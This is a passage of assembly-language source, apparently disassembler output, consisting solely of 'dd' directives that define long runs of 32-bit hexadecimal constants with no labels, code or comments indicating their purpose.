		dd 2EFFBB5Fh, 0DA029878h, 9DDF21F3h, 0B0A9E1B7h, 4A4920F7h
		dd 0E2F3A78Ch, 4EAD54DAh, 0A766489Ah, 0FB039776h, 71CA6F37h
		dd 0C3397B77h, 0A268E39Dh, 0E6F23EA1h, 363C6F95h, 4F93C7EDh
		dd 0B9045D19h, 4A72D47Ah, 59344F44h, 8FF7461Ah,	38CE919Dh
		dd 0EFCD014Ah, 3808FCB2h, 5F55453Bh, 0DE5C38DDh, 6711FB32h
		dd 8900CB4h, 0BC6C0635h, 0F4584BBFh, 22A3340Ch,	0C1FB617Dh
		dd 0D9E812FBh, 0F0C5582Ah, 88D99F85h, 0A4A8E128h, 35935899h
		dd 0E3EF18D0h, 715AB23Fh, 92C9C3Bh, 9820E856h, 5C1166F9h
		dd 7D1B21A1h, 0A2B8C2DFh, 0CD0E6E5Fh, 5BDEE250h, 0DBF375ACh
		dd 3CCBEF3Eh, 809A2A84h, 0A28E819Dh, 779F3D2h, 9704AB1Bh
		dd 93733C2Fh, 50F8850Dh, 9AB91588h, 0A22971B2h,	8A48A3BAh
		dd 18705BA4h, 4BE570DDh, 15BD8F9Eh, 4B02D34Fh, 0FA2652E6h
		dd 127D4032h, 1BEE80CFh, 0D77798DCh, 0DFB53BF0h, 0BBA266B5h
		dd 9722F345h, 0A535C676h, 8323E585h, 849DAD70h,	7E59E3CDh
		dd 0D7FF1FA6h, 474ABEA6h, 50FD37FEh, 84259F92h,	7BCC7B33h
		dd 47831077h, 804CD442h
		dd 41BB7F22h, 0C499736Ch, 0A1A8893Dh, 27B663F3h, 5A21DB21h
		dd 0EAFD8EFBh, 8B2F4A3Eh, 0D572AE6h, 158C652Dh,	0C7097458h
		dd 0C8DE5CD1h, 472D5D76h, 0F0FEDC49h, 0BBF427C4h, 6819510Eh
		dd 3911B863h, 41014A1Bh, 169C15Eh, 80B09E8Fh, 0DF4111B9h
		dd 0B160168h, 5D816B3Fh, 386E2789h, 66155E90h, 58D25EDFh
		dd 77A1BB71h, 4D47BCB5h, 45CCFFD0h, 7266B2C6h, 0C4575A71h
		dd 0B844550Ch, 0CE6877FEh, 6820940Ah, 0BC524A5Ah, 2731E1E7h
		dd 97706836h, 0F5ADC1D6h, 0F43DD19h, 5F7EDD04h,	0B84BC311h
		dd 0EE27ED5Fh, 0F9446C1Ch, 70071988h, 0CDCBFD46h, 0EC47705Ah
		dd 5457FC11h, 0D2D634D1h, 5D7E1D71h, 728A85CFh,	9641DF15h
		dd 421238B7h, 65439899h, 9B377D78h, 7A5EED9Dh, 0B5057B1Ah
		dd 97D91697h, 56B9157Dh, 17A775ABh, 7965CBC6h, 0CF44008Dh
		dd 23ADB37Fh, 0EB3C5894h, 7A57464Bh, 9A13FF9h, 0D9703ED3h
		dd 7830CB2Bh, 0A4E32DCDh, 4E4900Ah, 6199DB0Eh, 28E248DAh
		dd 973FEE72h, 6FCDE47Ah, 407FD05Bh, 0C8B8FF39h,	655C794Bh
		dd 1F2F5F04h, 5CD03DFCh, 0D45FA159h, 0DF8EB0E6h, 95E396CBh
		dd 2329852h, 3F9B0159h,	0C800C190h, 95F4CFEh, 0B1913B8Ah
		dd 0A59E71AFh, 1E14137Eh, 0B6C3592Fh, 8999E350h, 37A90A6Fh
		dd 7D9EA3F6h, 0CEF0775Fh, 7AC74B94h, 44CC024Bh,	0A9243FC1h
		dd 0C65CD03Ah, 79CE5E67h, 1F4313FFh, 0E9440653h, 0B2B62DCAh
		dd 4177AC11h, 2D9DECE3h, 2657B731h, 1751B27Bh, 0D39DDC1Ah
		dd 34100938h, 8D1E8200h, 7DF33374h, 1FC3F797h, 3B861E77h
		dd 8641D74Ah, 23954BA6h, 86EBCE53h, 0CB1AD307h,	1E49FAF4h
		dd 0BBF053C5h, 9FE08A7Dh, 75535D93h, 2E022B89h,	7B867146h
		dd 88F8F09h, 293B3F13h,	0CB72242Eh, 6585D8BCh, 57A4CABBh
		dd 0BE45C7C2h, 0B77BFE69h, 0F9559D5Dh, 5A4A8734h, 0D489C644h
		dd 3632E1EEh, 2630F2DBh, 0C4358B26h, 60F5C2BAh,	9C7EE844h
		dd 0C3DB28F7h, 31B29552h, 7452DA49h, 0AF2B4A53h, 170CCE28h
		dd 8B5692D9h, 6890A229h, 668E62C3h, 70D2DEE1h, 783615BCh
		dd 0BCEDFBAh, 7DACE41Ch, 0C213D33Ah, 0E3EFEE19h, 5FAC18DBh
		dd 0DC94A2D5h, 0FE0E9E56h, 6E4ED957h, 0EC029CF8h, 0B8E8C757h
		dd 0BECA6EADh, 0E28C6B2Eh, 5B61C84Fh, 491A33A3h, 0ADC709BAh
		dd 0E151A973h, 0BBC93D50h, 44B1CCF8h, 44342FEEh, 42A36EDAh
		dd 3F2FAAE7h, 0ABBE37C6h, 0F8A37F25h, 0C7142041h, 7E9643B5h
		dd 8712A7E0h, 9387520Ah, 487D8848h, 58B77658h, 0D08FD476h
		dd 1C14DBCh, 39BD4657h,	3082142Dh, 1D9672F5h, 2BA8332Ch
		dd 46A81883h, 0B0B64C2Dh, 3EF79EE0h, 100BD18Eh,	29FE9555h
		dd 43035148h, 60762442h, 0BD06FCEBh, 730E5800h,	7838CB89h
		dd 62180AFEh, 3BF36BD3h, 0BEB44F51h, 3FAE4AD2h,	735C675h
		dd 78387773h, 0F3B12001h, 0C6A8BBB7h, 73010913h, 0F83AA3BEh
		dd 179C7636h, 0F3A07117h, 1FCA46EEh, 0ECCF2262h, 8CDFB669h
		dd 8AB27C8Eh, 9A577FD1h, 9B7E2BDEh, 1EE2A22Fh, 92108551h
		dd 5EFCDC4Fh, 0F0340549h, 349CFB1Bh, 899699D5h,	0FE904620h
		dd 2DFAD8C4h, 0B674EF19h, 479F631Dh, 0EA96170h,	4620C47Ah
		dd 0D5CE9DF6h, 317842E2h, 5CD24E7Eh, 8805CB9Ch,	0B111FD9Fh
		dd 5A9D9BA8h, 2646929h,	0E228A639h, 26EE8241h, 0CD828FCEh
		dd 800A68D0h, 56CA8FB1h, 36D3D88Bh, 0CFD3A34Eh,	0AC2E6715h
		dd 0FB3DA58Eh, 0F230012Eh, 941C425Dh, 0EA624562h, 0CB6E5B14h
		dd 0BDC3FE40h, 36EC40D8h, 35130708h, 9E08F35Ch,	29487A3h
		dd 1AD759DCh, 0D357C445h, 2EE5B2B0h, 1233566Bh,	9426953Fh
		dd 0F6FD09D0h, 80647EB0h, 46DF2521h, 0F66870B3h, 5F0B278Bh
		dd 2D9D12ADh, 250342A3h, 8FF59EA7h, 0F3D4CB0Dh,	5E31B201h
		dd 70A2FE52h, 72F368AFh, 33D0F723h, 0F2E8B6E3h,	0B3D66C8h
		dd 0F4766316h, 72AD70AFh, 271B2643h, 6DD146DAh,	0C3349056h
		dd 8695F628h, 0EB78F727h, 0E0112387h, 4EC08436h, 0C05FB885h
		dd 0DE829A24h, 2E5C8186h, 0A114B4DDh, 0BD005B4Eh, 5B576F06h
		dd 0C7C93A21h, 584A2541h, 0A38AB7B0h, 9080342Bh, 27E39953h
		dd 47B9EF16h, 7CF2494Ah, 3B30A24Bh, 0DB8A33AFh,	0E1BF7429h
		dd 201C372Ch, 1E134A25h, 5D7BC4FCh, 0FDDEBC1Bh,	753BD5Dh
		dd 36D075F0h, 0E0D20B2Ah, 0C44482B3h, 10E157B3h, 0E1C68345h
		dd 349853CAh, 23DA5F6Dh, 0F91DF731h, 27DD27C0h,	98192EDh
		dd 0EAEE9BCEh, 0B2A7212Fh, 61906D17h, 0B42C0047h, 13194264h
		dd 324038E2h, 5693CB6Dh, 0CC161D35h, 0E84F75FEh, 875D6F9h
		dd 0FCBE3C3Ch, 62A22CE7h, 8C20207Ah, 87A19ADCh,	225B8A0Bh
		dd 89FF2675h, 580B0A2Bh, 0B0BEC617h, 8F10CCBEh,	71C138BFh
		dd 70DB229Ch, 85BF7C53h, 47F3FB64h, 0E7EDE80Ch,	609BF051h
		dd 8AE2089h, 68E4D7Ah, 0A1345286h, 8F0CE831h, 10F066B2h
		dd 3610AF7h, 1803A498h,	2048DC2Eh, 0E11166B2h, 0C228B01Eh
		dd 11A9834Bh, 0C829B399h, 33966674h, 0BB81E1D7h, 14913A8Bh
		dd 0C0014B60h, 72CDED6h, 0ACC62CD0h, 48D17D15h,	508DBB3Ah
		dd 150B0E24h, 957F09EBh, 0A9079BC4h, 2283A3CDh,	73AE21DEh
		dd 42F82DB6h, 15FCA61h,	0D3E6584Ah, 0EA946FEBh,	0F550C0F9h
		dd 8DCE5335h, 5FFC1E37h, 0ABB4BA4Dh, 75A541B3h,	0C6BA8CC9h
		dd 18F41E62h, 0CA4B741h, 3288DE02h, 5DDD9AFEh, 0E422F4BCh
		dd 0A9B2FB11h, 0DFA3AC49h, 0D3D96921h, 0E122A445h, 6E3FC3D7h
		dd 930FD458h, 2C7A87DAh, 2B971DBAh, 0F07FA615h,	39D15423h
		dd 484BF489h, 0B415DC88h, 0BE31D313h, 7884F590h, 20153B79h
		dd 925B117Bh, 47B73D46h, 0D8CB57C0h, 0EEA714F7h, 153873BFh
		dd 4F38C0D9h, 4697FBFAh, 4F26CD5Ch, 0CBF4A97Bh,	4155B117h
		dd 8DD1A45Ah, 0CC5EC9E3h, 0E6DE243Ch, 0DB7EA751h, 0C17460C4h
		dd 0B0BD22C4h, 0BAB28357h, 141C4D63h, 0D756F0D5h, 0F4EA7406h
		dd 0A170B333h, 9BE6505Bh, 7B8EA209h, 77ED37E9h,	98443098h
		dd 0E84A9695h, 37806DE3h, 48BF4EE4h, 717F1362h,	3F5D826Ah
		dd 3A0DF5F0h, 1692AFA1h, 0B41B3E25h, 802BA9BFh,	0E127407Dh
		dd 1182A5E3h, 37DA9A5Eh, 522F8EA8h, 29A395B8h, 0C37009E2h
		dd 0B0F34254h, 0BE722C91h, 7B208078h, 29DCD255h, 5C11479Eh
		dd 60087FA5h, 0E399A496h, 0A74FDCABh, 4A17F59h,	102A0AEAh
		dd 0CB4C6BD9h, 45992621h, 60152F88h, 0C56613A2h, 1608F6CBh
		dd 9B8EEA50h, 0FF74F3B5h, 438E73B2h, 0D9FB9998h, 0D2826C9Fh
		dd 0CB20EF00h, 0B9CAC35Bh, 0C1DAEED0h, 0D5C582Fh, 316548A3h
		dd 0C5096C93h, 1CF639A1h, 4F7127D1h, 0A30D345h,	536AD313h
		dd 92FC45AFh, 4D87D1EBh, 0E2AFA082h, 83502B3Ah,	4DC5B225h
		dd 0B2FC7ED0h, 9302920Dh, 0E0D8D2A0h, 3D09F3EBh, 371A9A22h
		dd 7E760461h, 9B65E3B6h, 0E5504000h, 0C3F115B9h, 23B742B6h
		dd 248D3DB8h, 933BEB43h, 0F3E0F572h, 0A00687ACh, 6DF0268Ch
		dd 65DB8D25h, 303BA1F1h, 0B9210D26h, 2257EF34h,	8C451191h
		dd 59C5A9F7h, 6034C6Eh,	4EE382A1h, 8D86EA34h, 2FA43904h
		dd 540EBAB5h, 6BF2C615h, 0B5912687h, 32FFACEEh,	5DD9525Bh
		dd 0FFDAB52Ch, 0EF8D0BD5h, 343E3C87h, 3D819AF2h, 0E8FCE7D5h
		dd 701DA698h, 60CC9F8h,	0AABFE9E4h, 7BB7730Eh, 597BFDA1h
		dd 294E00Fh, 0F108ADACh, 0C8137B2Fh, 0AEED24F8h, 0EE95F00Bh
		dd 9AD19643h, 0E8CF871h, 7508B40Ah, 629DDA59h, 1794BEDh
		dd 0CE44F9BFh, 0E07A1432h
		dd 2D6025FDh, 73A3016Ch, 38D4A542h, 30CD65D2h, 8BA1915Dh
		dd 8A855F9Fh, 44A27EA6h, 178A62FAh, 97D9E1E1h, 0C2C51A31h
		dd 8AE24F16h, 0B2E9436Dh, 0C0041055h, 0EF94F2E8h, 0ACD3382Ah
		dd 0DE418DBFh, 7B90F4BDh, 2BB47C9Fh, 0CB5C7FCDh, 396864C0h
		dd 0CA77FBB0h, 4783908Ah, 1D2F9D3Bh, 9B5B4D51h,	0A9A053C3h
		dd 88653A45h, 263A14Ah,	555A0BDDh, 2AFFA91h, 65681591h
		dd 42ED513Bh, 9CC6F79Dh, 1F0DE1DFh, 742CA91Ch, 60F65261h
		dd 92558EA4h, 0F9AF4B0Dh, 0FC2FEA5Bh, 88DC34ABh, 0CE6DAC98h
		dd 0CC50DF2Ch, 0C5A12A76h, 0EDC4E923h, 1A563123h, 46908255h
		dd 0C500E304h, 0CC479F9Bh, 970C566Ch, 895D0EA7h, 0BD3DA6FEh
		dd 671A585Dh, 838B4673h, 3C32F88Ch, 0E8A73FF0h,	412878A6h
		dd 0B3208484h, 0DC071D4Dh, 0D28C033Ah, 0FB9414D0h, 2A23114Eh
		dd 3383060Fh, 0C8C97A29h, 4A948652h, 691A3FE6h,	2021C0F1h
		dd 14554EAAh, 3DBC0881h, 2F223E4Ah, 7351A54Eh, 15BA3DC0h
		dd 96CFB29Fh, 0A5412FAh, 0B2F4CC27h, 0BD1DB239h, 889339CBh
		dd 7D2145E8h, 0F21CFC3Fh, 2B4DB04Fh, 0F6F3D08Eh, 0F690A98Bh
		dd 8CD083DDh, 0A61915FCh, 673960A9h, 33F6613h, 882382B8h
		dd 0DEF31792h, 2A757630h, 15FCEF34h, 0D4AE6DC0h, 80243AFEh
		dd 0BE7E3B0h, 0AECFF21Fh, 0F2CA1F91h, 5FFE22E1h, 34CB7867h
		dd 72A8EE24h, 0CE64E8BDh, 81499C7Dh, 0D5230DC5h, 53C0180Fh
		dd 335D58DBh, 0BEB61D09h, 888987A6h, 43D65E17h,	0E32CBD3Fh
		dd 8F1B2BC9h, 0AD19A49Ch, 0E5F1C221h, 5DA88C40h, 8B678D02h
		dd 235DA8A6h, 0F22842EBh, 64690509h, 0A5DC8A3Ch, 2A5EA56Bh
		dd 0EE7232C6h, 2A74D2B3h, 2D623F78h, 178E82D6h,	3C8BB716h
		dd 0B40D55F7h, 2142BF98h, 90355CF1h, 204CFF20h,	0A9F4BEF0h
		dd 1ADFC763h, 0D44C24DDh, 7B81BE84h, 8E176CA8h,	0E5148787h
		dd 46846CC2h, 0C416D245h, 5212519Ah, 0A3A68797h, 45BE5EB4h
		dd 0FD7CB9B6h, 37CC66C1h, 785EA57Bh, 8AC5913Ah,	7ED94B92h
		dd 0DCE75268h, 0F11FE468h, 0C32C242Eh, 48F06793h, 0DD5F1109h
		dd 0A57E640Bh, 6FC428FBh, 8503092Bh, 914B1326h,	4FB3E161h
		dd 3534AC5Dh, 68490B58h, 0AEE2081Ah, 0A7FFB1E2h, 60A64695h
		dd 54A2ECE4h, 0C7E3CFF3h, 927DBAAh, 26E76A4Dh, 0D80E8958h
		dd 88756362h, 0E98D92FEh, 946AA638h, 5BA8497h, 0FE699147h
		dd 0F75E2865h, 86A6C61Ah, 0ED95DEC7h, 86A05B7Dh, 3C8F6C24h
		dd 3012F44h, 0B27CD748h, 0DAF9ECC3h, 9B45F2ECh,	36AF1BD7h
		dd 9B05DDCDh, 6EA641D1h, 383BE043h, 0F9E27951h,	0D1D529D4h
		dd 0F6ABA4D2h, 0DA60BB97h, 53F6F7D8h, 0BE4EFB78h, 1D01FFAFh
		dd 0F33D3699h, 0B5308307h, 6EB50E89h, 45E88BC6h, 0D93B9BBEh
		dd 21340E5Dh, 6C28A539h, 0C48BBD33h, 0E2FDAAE7h, 0AA8650E6h
		dd 9081090Ch, 8FF0665Fh, 93756DFEh, 12770D00h, 1E02DEADh
		dd 37E0456Dh, 4140314Fh, 75550ADBh, 5A83FF6Ch, 34C514A3h
		dd 2462149Dh, 0CF85C223h, 0EB9FE612h, 0FD4456BBh, 0A877E096h
		dd 1E92814Fh, 6D721168h, 359A0FD2h, 8310091Fh, 43849889h
		dd 13E23E50h, 0ABDACF5Ah, 0D8E41884h, 0FC8C2843h, 947C5E29h
		dd 0D726936Eh, 0C1E81FC6h, 32CFF419h, 32394EEBh, 0F369AFE2h
		dd 354DAA38h, 2D5BF4C9h, 672EE374h, 85118312h, 0AD08F57Ch
		dd 0AD74FB06h, 70051BA6h, 0A90CC768h, 8E1F76Bh,	86464D1Bh
		dd 1EB97228h, 0EA24AF28h, 13AED19Fh, 911E164h, 8C7FAB3Ch
		dd 0D3384E8Ah, 0D58AF9F6h, 47869E4Ah, 0A504306Fh, 1E92AEC2h
		dd 0CE1C5D43h, 0A7A629CFh, 0C3ADA520h, 0C3E3767Bh, 88A0C84Eh
		dd 0CE5C4902h, 0A26356D6h, 2CE55EA8h, 0A3406A5Fh, 7E4C75FDh
		dd 4FD596FAh, 7758FC06h, 0D638446h, 98DFE3D8h, 1DF951F2h
		dd 0F2EEC214h, 5295EA72h, 0AEA0405Ah, 3D89A1A7h, 0F74324BEh
		dd 0CC597FFDh, 0A453CF4Ah, 0A5CFA601h, 61B5B95Dh, 4BF8830h
		dd 0EC74960Fh, 89737292h, 97BF6B76h, 8C20812Dh,	0EE057876h
		dd 0E645CCFh, 6496273Ch, 0F0926F62h, 14BBB346h,	0D3434ECDh
		dd 7D9520A1h, 0A8CBC7D2h, 829BCF44h, 0F6FDE25Dh, 0A3B8831Ch
		dd 6BB238D7h, 1CC94FA0h, 92FED75Dh, 3DCAF38h, 74F47937h
		dd 9671047Bh, 1E02431Ch, 0A2EC05D1h, 9E86C918h,	0F849E0A4h
		dd 8091972Ah, 43486132h, 0E8151440h, 0B8B87216h, 0DE46CB42h
		dd 7E85527Ah, 0B9A19A81h, 958D9F82h, 3AA25C98h,	0F0FF958Ah
		dd 0E7972BB1h, 0A4797CE4h, 0A128CA4Bh, 0E1E0D6FAh, 4D100F7Bh
		dd 0EE2C3D49h, 0EDD0481Ah, 468E5E30h, 0EA62AD8Fh, 4486E611h
		dd 5FCB11BEh, 0F2408484h, 0A14C6F38h, 291DB42Eh, 583EA7B9h
		dd 4D554FFAh, 653EA981h, 0A29819C6h, 0EBC1F9h, 73CE47A0h
		dd 0B1158D51h, 7CC2979Bh, 3F528866h, 9C084461h,	1952374Fh
		dd 77947109h, 858502B7h, 4335B4A9h, 2E04C3B0h, 5CAB6558h
		dd 0D4530E9Ah, 6D851AA0h, 11E0B33Ah, 7FFCFB6Ch,	14E761Bh
		dd 0BEDC12FFh, 0F69DD4FEh, 0FA55458Fh, 9989F868h, 8E1C2DC7h
		dd 21DAD270h, 0EEE15C5Dh, 0D5674527h, 960F2B4Dh, 0D16A1C41h
		dd 5C72C7CCh, 0EFD03059h, 3059FF76h, 6AB1D13Eh,	99F0370Eh
		dd 7364A31Ch, 0D84C1C1Bh, 4EA03667h, 0D748F835h, 4CBEEC97h
		dd 0EFA964DAh, 9E22FEECh, 8E66501Eh, 0FC28DB06h, 0DC3004EEh
		dd 0E20E9B1Bh, 0E05B87B1h, 0B46C2C8h, 0C85EFA78h, 0C280D1DCh
		dd 1A72D29Fh, 767F7155h, 6975967Dh, 0E9CC88CFh,	0CA2F5197h
		dd 0CF19C278h, 0F13F514Fh, 56E97AFAh, 3E9059E9h, 21593E12h
		dd 0DA7E321Ah, 4826DDD5h, 0BB4ACAB6h, 0ED5DECB8h, 0F9631DC5h
		dd 8ED30309h, 0B9655F22h, 647F405Fh, 0A9816029h, 6025FC5Dh
		dd 4AFE444Fh, 807C30A2h, 0DD3CF461h, 698FAC14h,	79422A2h
		dd 6D562AD8h, 0BE9768D0h, 1B5C6161h, 0C4370929h, 78C1B743h
		dd 0E169E33Bh, 0FB6EB6E1h, 0F90E2BCAh, 0BF4EDF98h, 0F40B0947h
		dd 5FDAF3C2h, 0ED916644h, 5B90FFCAh, 823D1335h,	3F35B237h
		dd 0A49C73DFh, 39846A88h, 27469A77h, 54972AB1h,	8D075536h
		dd 0A5EFF9E0h, 1B75D732h, 0DC27EAD0h, 0CB33546h, 0C89EC1B5h
		dd 4A61A021h, 6960E27h,	4B1CD396h, 4AA1418Bh, 662E9241h
		dd 0B52E0BFCh, 40094909h, 752D992Ch, 0D611D559h, 0DC76D1E3h
		dd 5473EFC6h, 59B6EEACh, 0AF753CA3h, 9C0839A1h,	0FBE378C4h
		dd 50C07CB1h, 778FC8EBh, 2EA7F482h, 9EE2BCE3h, 59C9DC0h
		dd 0AC5C5358h, 274E93E9h, 51ECD744h, 0FF049C29h, 97932A64h
		dd 58ABF3A7h, 162BD83Bh, 3FECB2FCh, 4A3F81CCh, 9C1C019Ch
		dd 3FE6FF99h, 0ED6EA2EEh, 0FDA72BC5h, 0D2BA249Dh, 0BDB76BC7h
		dd 352201C2h, 0A7C89ED9h, 0C15BD962h, 1008F4BDh, 0DC095F76h
		dd 0F47E555h, 0FF3FF3F5h, 0A0C4234Dh, 87402039h, 0C0E04B0Bh
		dd 8C80889Fh, 9834A87Fh, 0DE2D4704h, 2D9FDE18h,	5C8DFFDDh
		dd 0A00637AAh, 5D9076EAh, 1C7E9D39h, 816ECBC2h,	232073FEh
		dd 0FFA498h, 0C15659A0h, 0E032B71Eh, 288AA7BAh,	0E292E4AFh
		dd 8B911BA9h, 0C953591Ah, 0A5CACA57h, 0D4B98F6Ch, 57F041C2h
		dd 4DC8AB2Fh, 0D7ED0594h, 0A4801F81h, 98542D85h, 31020A5Eh
		dd 0F327BEF3h, 3738150Ah, 13FBD33Eh, 0FDBCC53Eh, 2E9F8B93h
		dd 54138B91h, 9E07067Bh, 4BA253BFh, 0F30EA3F4h,	0ACB4AACDh
		dd 0B81B5795h, 5BC84A25h, 63C73CE4h, 207A63BCh,	0A8AEF10h
		dd 0EEC8234Bh, 45169F31h, 0AD495AE5h, 3D6EF722h, 0AB576AB5h
		dd 81902EA3h, 0A2CCF7ADh
		dd 36DFBF0Bh, 0B28FEC6h, 1BA66A48h, 0F82FFA4Dh,	0EEB3045Fh
		dd 0FFDE494Dh, 37E061D6h, 6E42FBCh, 29AA704h, 0FD2AC887h
		dd 7D1F783Ah, 18293DE7h, 0CD86D2A4h, 0B2A8B848h, 46414964h
		dd 5E6BF7Ah, 8CF7B226h,	932B5BF8h, 5705670Eh, 4C2AAA5h
		dd 3C26B09Bh, 6ECF14E1h, 8DEC5AB4h, 0B527EE89h,	5D99FCF9h
		dd 0DA2BEC1Bh, 39B6D42Dh, 6036F3DFh, 683ECD3Ch,	962D056h
		dd 51902F9Ah, 2265A059h, 6CB22398h, 0E85E5980h,	783ED274h
		dd 115BC850h, 0B70FB5FFh, 8885C630h, 84313D6Ah,	0C241FFE0h
		dd 481F5761h, 0F024B191h, 50A7A2C0h, 4BB85A77h,	0E001CFA9h
		dd 0FCDA2080h, 0A918444h, 37563257h, 60B0C674h,	6D9F38F1h
		dd 3DA2726Eh, 2FC99178h, 825FA7D6h, 0D74E5010h,	0B7984DC9h
		dd 894AF24Fh, 0BF15E57Ah, 0FE498E55h, 582BEC49h, 72FF893Ah
		dd 5158DCCEh, 862679E4h, 9EBCEA80h, 0CAAA30E9h,	4403B2C6h
		dd 25E86830h, 2C85D1Eh,	5BC79B50h, 1FE1A590h, 3CFC7F44h
		dd 0F50A8B16h, 937B2041h, 0CE965376h, 0E5B5071Ah, 3D99964Fh
		dd 3F7749C0h, 0ECA1E8A7h, 69CDDF77h, 7F67A5Bh, 0C6D8B7C1h
		dd 0ED9D5DDCh, 83741C17h, 153B70A6h, 9D0CB59h, 10AD3344h
		dd 18A94492h, 69222877h, 0BE39B17Ah, 0F7B769F8h, 67CFF364h
		dd 130658DCh, 23F34DE7h, 991F60F7h, 0FBA1C022h,	0B8F0FB9Fh
		dd 0BB05D28Ch, 0E50DC297h, 0FB1F7760h, 4D048911h, 0A416E97Ch
		dd 344EDF22h, 3F0ACC16h, 1F51DC32h, 198E766h, 82C555C4h
		dd 0C68217ACh, 1F6C4851h, 0F3D3B2DFh, 1DA44BE2h, 0F8E92683h
		dd 0D24AA5B5h, 622918Bh, 3A3D24F6h, 552F46F7h, 0B8E32A10h
		dd 0BBA09F0h, 0E230771Dh, 416A562h, 5741457Ah, 0F7D9405Dh
		dd 405551F0h, 4CE278DEh, 6EBC2E9Eh, 1F825144h, 0BCB77BF5h
		dd 72C5AF48h, 77431A10h, 0AB196E03h, 0F6C65126h, 38546473h
		dd 0F800E5CAh, 7B897F70h, 0F5798B2h, 0A71CD025h, 0F54FAA52h
		dd 0CF1630C6h, 751EAC0Ch, 0F9DC9872h, 8C4AB46Fh, 100C088Fh
		dd 41FDB84Ah, 0B23CC9Ch, 756ACA8Dh, 68C28276h, 933544CDh
		dd 81565A92h, 0D7154D6Ah, 78B17986h, 2DB738E2h,	12F039EAh
		dd 0E23E62B9h, 87B421A2h, 0C7AF6BCEh, 4BD1FE6Eh, 0A94BB64Fh
		dd 703B02BAh, 0A8A33CE9h, 1C858E0Dh, 1CC2885Ch,	27640AD9h
		dd 6868444Ch, 731FDF8Dh, 102D77F6h, 185A3D29h, 0F3EFBC9Ch
		dd 92721373h, 2ECB73CCh, 81300147h, 0BBED83F2h,	0CE6F0698h
		dd 4EE05B05h, 20D25562h, 9BFCA106h, 0E013CCF5h,	5769AE54h
		dd 528346ECh, 2DC88C70h, 5FBF287Ah, 70E0213Ah, 1A7BB627h
		dd 8D149FE4h, 0D9499C77h, 4947DF2Ah, 83BE6458h,	0D8E08A4Bh
		dd 324F5D9Eh, 0B4E6B9F2h, 0FDD0E6B6h, 0AB319C08h, 9C868ED0h
		dd 9E59560Fh, 79C3B86Bh, 3801A333h, 44D41170h, 6CA1E0D8h
		dd 47604172h, 0D26D5C12h, 0F3469DEAh, 0FF5A9310h, 9CA9AC0h
		dd 15599B70h, 72B3558Fh, 18FF890Eh, 0F626A0Ah, 0DD3A5BC1h
		dd 0B970282Ah, 0DB699E7Bh, 66AD54A5h, 876AB798h, 93404229h
		dd 1F218E04h, 0EB94287Bh, 0CDA1B0F7h, 92D8D0D2h, 8CAAE7CFh
		dd 53B1B4A9h, 0C3C56297h, 15E40C5Eh, 0D7677918h, 86F6AAFCh
		dd 9B957DBEh, 1AC65EB1h, 0D47E170Dh, 0CDEB4548h, 0AE598928h
		dd 90346DC2h, 0CB71F529h, 5A966F3Eh, 61BBAB08h,	0A3756815h
		dd 9B818095h, 0FFC3A9ABh, 0D231F448h, 0C6420FF1h, 0B41EFD32h
		dd 66BBB2FBh, 0EDC9AC14h, 0FF2F81CCh, 0D76CC64Ch, 0AF5167D7h
		dd 0E68AB43h, 150C3B9Eh, 2C7B54F3h, 7EC60EF7h, 9FD81090h
		dd 0D810D4CBh, 0E1AB2DFDh, 94F265D0h, 0EFB249C4h, 1DC1A09Ah
		dd 0AE3ABA06h, 0C14EE388h, 0FC7A9151h, 8E9E1EE8h, 70D8B630h
		dd 0DB066CB5h, 5C6AC43Eh, 0AFCA8AE7h, 4E5F19B3h, 0D9BE2181h
		dd 0D380EFC7h, 0B24A5FFCh, 45716472h, 575DFF9Fh, 8FB3315h
		dd 0B81DF1B9h, 0CD428F52h, 5650D62Fh, 39971CDCh, 4883A43Ah
		dd 66979C2h, 0B7CB013h,	0C0B4A503h, 0DF17F0Eh, 0EADB1AA8h
		dd 38D13312h, 0D82C3D21h, 0B042BD5Ch, 0A3CA3C65h, 0D6D8E360h
		dd 0CF8FBFD7h, 86D77C1Dh, 32086B7h, 86A73147h, 4917B1B3h
		dd 0D2DDCF68h, 0A13CF14Eh, 0E67894E3h, 4412B954h, 975BFF3Eh
		dd 31F3B899h, 0C5F5AFABh, 35681F4Dh, 7B95FE7Eh,	1F6DECC9h
		dd 0B4BA7EB6h, 0F9FDEDA0h, 0F8756B1Ch, 7151E5B2h, 518EA0FAh
		dd 1E909F39h, 121BE745h, 68CE9D46h, 98052F33h, 0EFA57AB5h
		dd 0DE18084Ch, 0A5725AC2h, 6F28A596h, 773E6E82h, 5BB5B7D8h
		dd 245380EAh, 1FAF2C2h,	0CA657285h, 683A5A0Dh, 0AB289679h
		dd 6989DF48h, 0F55BCF4Dh, 60A854FEh, 0E4FE4647h, 0BA351531h
		dd 3C3086A0h, 0ED00C860h, 1EF2DDBh, 8CE4A285h, 0F59B243Dh
		dd 5FA0D359h, 4339E45Eh, 20D73632h, 0BBE70667h,	616B3061h
		dd 0BEF522F1h, 0DB30F1F6h, 2C81C893h, 75EE5326h, 8FE691E0h
		dd 0CE33667Ah, 2236336Eh, 58E106B5h, 5E6E6E8Dh,	94ADDB05h
		dd 8B82AEDAh, 0E57478D6h, 6F436E83h, 0F6E034A3h, 87DB1354h
		dd 0B7E49E1h, 39ADCAE2h, 0C08E9B43h, 9161AEh, 4A5FF273h
		dd 0DDBFBF9Ch, 90834D9Ch, 0B66190ECh, 0D30672F9h, 0CF6C1094h
		dd 4C7B59E9h, 0E95243EAh, 7D3474Dh, 53F8BC6Fh, 3349AD12h
		dd 8043CEA7h, 3B9D73Ah,	0E3394C8Bh, 72D6A7CFh, 1B9A6531h
		dd 0D8160897h, 24A546CAh, 0CBCC832Ah, 0C57CBEC6h, 0FC6D26C0h
		dd 29F327FBh, 92F905BEh, 0BCE5E7F2h, 87D6DB59h,	149CA791h
		dd 50F97A32h, 9F865C8Dh, 0CC583E5Ch, 12406E6Eh,	0B600265Eh
		dd 14A51601h, 452AA8EFh, 0D49EB7B0h, 0ED47CF1Eh, 0A21743D6h
		dd 0D8700986h, 7BA6892Dh, 0E9F15C2Dh, 0FDA87550h, 824DA56Dh
		dd 341632D9h, 0E9464917h, 72BA5CAEh, 0C880DBF7h, 0CE8A73C8h
		dd 0AC8656A5h, 5DC75D29h, 0DE88DA17h, 12397DA1h, 6232D968h
		dd 24739BDEh, 2F261BD9h, 0DB2DB1C7h, 85C8F778h,	2DEE8110h
		dd 59D89652h, 46856BDBh, 0E1325022h, 3196C0FEh,	809B45D7h
		dd 0F3F87A59h, 0A35E571Fh, 646120DCh, 5574C124h, 77ABB408h
		dd 5F6057A5h, 0D6FD254Bh, 48830262h, 0BA8EA054h, 3E72FD29h
